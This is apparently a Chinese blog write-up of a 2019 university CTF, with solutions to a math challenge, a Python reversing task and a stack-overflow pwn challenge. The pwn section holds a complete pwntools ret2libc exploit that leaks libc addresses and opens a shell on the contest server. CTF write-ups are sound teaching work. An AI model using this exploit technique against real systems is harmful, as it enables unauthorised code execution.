广东外语外贸大学第三届网络安全大赛Writeup

原创

SkYe231_ 于 2019-12-09 16:21:33 发布

文章标签： 广外CTF WP CTF writeup

本文链接：https://blog.csdn.net/weixin_43921239/article/details/103460053

广东外语外贸大学第三届网络安全大赛Writeup

> 官方WP：https://github.com/gwht/2019GWCTF/tree/master/

Msic

math

是男人就下150层嘛，也就是答对150次计算题就返回 flag 嘛。这道题与 pwnable.kr 的一道题很像。题目有作答时间限制，所以用脚本跑吧。~~可能是人品问题，跑了很多次，最好的就是回答到 147 之后就链接断了（垃圾校园网？）。~~

最终EXP：

```
from pwn import *
context.log_level = 'debug'

p = remote("183.129.189.60",10034)

n = 0
while n<150:
 p.recvuntil("Math problem: ")
 math = p.recvuntil("=")[:-2]
 p.sendline(str(eval(math)))
 sleep(1)
 n += 1
else:
    p.sendline("cat flag")
```

RE

pyre

python文件的反编译。这里使用的是工具**Easy Python Decompiler**，或者可以在线python反编译（可能存在重复代码bug）。

反编译得到的源码：

```
# Embedded file name: encode.py
print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1) #23
for i in range(l):
    num = ((input1[i] + i) % 128 + 128) % 128
    code += num

for i in range(l - 1):
    code[i] = code[i] ^ code[i + 1]

print code
code = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*'
, ':', '\x01', 'D', ';', '%', '\x13']
```

这里就是一个加密程序，逆算法就可以了。源码中的第一个 for 循环里面分两种情况（小于128、大于128）带入数据计算后，得出简化加密：`(input1[i] + i) % 128`。

第二个 for 循环中的是列表连续异或，解密时需要从尾部开始再次进行异或。

最终EXP：

```
a = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', '
:', '\x01', 'D', ';', '%', '\x13']
l = len(a)
print l
a = map(ord,a)
for i in range(l-1,0,-1):
 a[i-1] = a[i-1]^a[i]
code = ''
for i in range(l):
 num = (a[i]-i) % 128
 code += chr(num)
print code
```

Pwn

史上最简单的pwn

32位 C++ 编写的程序，运行（或）需要安装libc：`sudo aptitude -f install lib32stdc++6`

栈溢出题目，选择的溢出变量为 s 。单单才变量信息看上去没有问题，不存在溢出。

```
char s; // [esp+Ch] [ebp-5Ch]
char v12; // [esp+2Ch] [ebp-3Ch]
char v13; // [esp+44h] [ebp-24h]
unsigned int i; // [esp+5Ch] [ebp-Ch

memset(&s, 0, 0x20u);
puts("Hello,please tell me your name
read(0, &s, 0x20u);
```

但是后面的会将字符串中的 l 替换为 pretty。只用 l 够多就能覆写 eip。

```
  for ( i = 1; ; ++i )
  {
    v6 = sub_8049556(&v10);
    if ( v6 <= i )
      break;
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, "pretty");
    v7 = sub_8049576(&v10, i);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, v7);
  }
}
v8 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&unk_804C0CC);
```

最终EXP：

```python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF('./easy_pwn')
local = 0
if local:
 p = process('./easy_pwn')
 libc = elf.libc
else:
 p = remote("183.129.189.60","10025")
 libc = ELF('./libc6-i386_2.23.so')
main = 0x80492F5

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

# 泄露 libc 地址
ru("name!\n")
pay = 'I'*0x10
pay += p32(elf.plt['puts']) + p32(main) + p32(elf.got['puts'])
# gdb.attach(p,"b *0x80490CB")

# 计算函数 system 和字符串 /bin/sh 的地址
sl(pay)
ru('\n')
puts_addr = u32(rc(4))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search("/bin/sh\x00").next()
log.warn("puts_addr --> %s",hex(puts_addr))
log.warn("system --> %s",hex(system))
log.warn("binsh --> %s",hex(binsh))
log.warn("libc_base --> %s",hex(libc_base))

ru("name!\n")
pay = 'I'*0x10
pay += p32(system) + p32(main) + p32(binsh)
# gdb.attach(p,"b *0x80490CB")
sl(pay)

p.interactive()
```